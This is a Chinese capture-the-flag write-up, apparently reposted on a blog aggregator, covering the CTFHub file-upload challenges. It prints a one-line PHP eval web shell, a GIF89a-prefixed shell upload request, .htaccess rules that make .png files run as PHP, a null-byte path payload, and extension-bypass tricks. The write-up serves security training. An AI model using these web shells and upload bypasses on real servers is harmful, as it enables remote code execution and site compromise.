CTFHub技能树 Web-文件上传详解

Posted 星球守护者

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFHub技能树 Web-文件上传详解相关的知识,希望对你有一定的参考价值。

文章目录

0x01 无验证

介绍:直接上传后缀是php的文件即可

文件上传
<?php @eval($_POST['777']);?>

进行连接

查找flag

0x02 前端验证

介绍:直接查看网页源代码,发现只能上传.jpg,.png,.gif三种格式的文件,前端上传jpg,修改数据包进行上传

第一步 上传.jpg图片

第二步 修改后的数据包

第三步 进行连接

第四步 查找flag

0x03 .htaccess

介绍:hatccess文件,.htaccess是Apache的又一特色。
● 一般来说,配置文件的作用范围都是全局的,但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件),
● 提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
● 作为用户,所能使用的命令受到限制。
● 简单来说,就是我上传了一个.htaccess文件到服务器,那么服务器之后就会将特定格式的文件以php格式解析。


● 查看源代码,发现文件后缀都被禁用了

方法一:
第一步 上传.htaccess文件

AddType application/x-httpd-php .png  //.png文件当作php文件解析


第二步 上传png的文件


第三步 进行连接

方法二:
第一步 上传.htaccess


//只要文件名中包含pass777,就会被Apache解析为php文件。

<FilesMatch "pass777">
SetHandler application/x-httpd-php
</FilesMatch>


第二步 文件上传

第三步 进行连接

0x04 MIME绕过

介绍:MIME(Multipurpose Internet MailExtensions)多用途互联网邮件扩展类型。
● 是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。
● 多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
● MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。
常见的MME类型,例如:

#text表明文件是普通文本
text/plain
text/html
#image表明是某种图像或者动态图(gif)
image/jpeg
image/png
#audio表明是某种音频文件
audio/mpeg
audio/ogg
audio/*
#video表明是某种视频文件
video/mp4
#application表明是某种二进制数据
application/*
application/json
application/javascript
application/ecmascript
application/octet-stream

第一步 进行文件上传

第二步 修改数据包
Content-Type: image/jpeg

第三步 进行连接

0x05 00截断

http://www.admintony.com/%E5%85%B3%E4%BA%8E%E4%B8%8A%E4%BC%A0%E4%B8%AD%E7%9A%8400%E6%88%AA%E6%96%AD%E5%88%86%E6%9E%90.html
0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。
数据包中必须含有上传后文件的目录情况才可以用,比如数据包中存在path: uploads/,那么攻击者可以通过修改path的值来构造paylod: uploads/aa.php%00

第一步 进行文件上传

第二步 修改数据包

POST /?road=/var/www/html/upload/123.php%00 HTTP/1.1

第三步 进行连接


0x06 双写后缀

介绍 发现文件成功,但是后缀名缺失

第一步 文件上传

第二步 修改数据包

第三步 进行连接,并查找文件


0x07 文件头检查

介绍:图片的文件头:GIF89a

第一步 文件上传

第二步 更改数据包

------WebKitFormBoundaryff32JeQTam0WpVd7
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

GIF89a
<?php @eval($_POST['777']);?>

第三步 进行连接,查找flag

0x08 其他

黑名单绕过
通过上传不受欢迎的php扩展来绕过黑名单。例如:pht,phpt,phtml,php3,php4,php5,php6

白名单绕过
通过某种类型的技巧来绕过白名单,例如添加空字节注入(shell.php%00.gif),或使用双重扩展来上传文件(shell.jpg.php)。

扩展名大小写来绕过
例如:pHp,Php,phP。

双写后缀绕过
例如:pphphp

摘抄


很多人都曾梦想做一番大事业,但其实一点点小事累积就成了大事,任何大的成就也都是累积的结果,这就是累积定律。

如果你想获得成长,就从认真完成手头的小任务开始;如果你想拥有一个好身材,就从慢跑1公里开始;如果你想有好的文笔,就从看一本书开始。你想成为一个什么样的人,想过什么样的生活,其实都取决于你每一个决定。

任何事情只要开始就不晚,人生的路,每一步都算数。做你想做的事,努力成为你想成为的人,就从现在开始行动吧。
—《累积定律》


以上是关于CTFHub技能树 Web-文件上传详解的主要内容,如果未能解决你的问题,请参考以下文章

CTFHub技能树-Web-文件上传-无验证

CTFHub-技能树-文件上传

ctfhub技能树—文件上传—无验证

CTFHub技能树 Web-SQL注入详解

CTFHub技能树 Web-SQL注入详解

ctfhub技能树—文件上传—双写后缀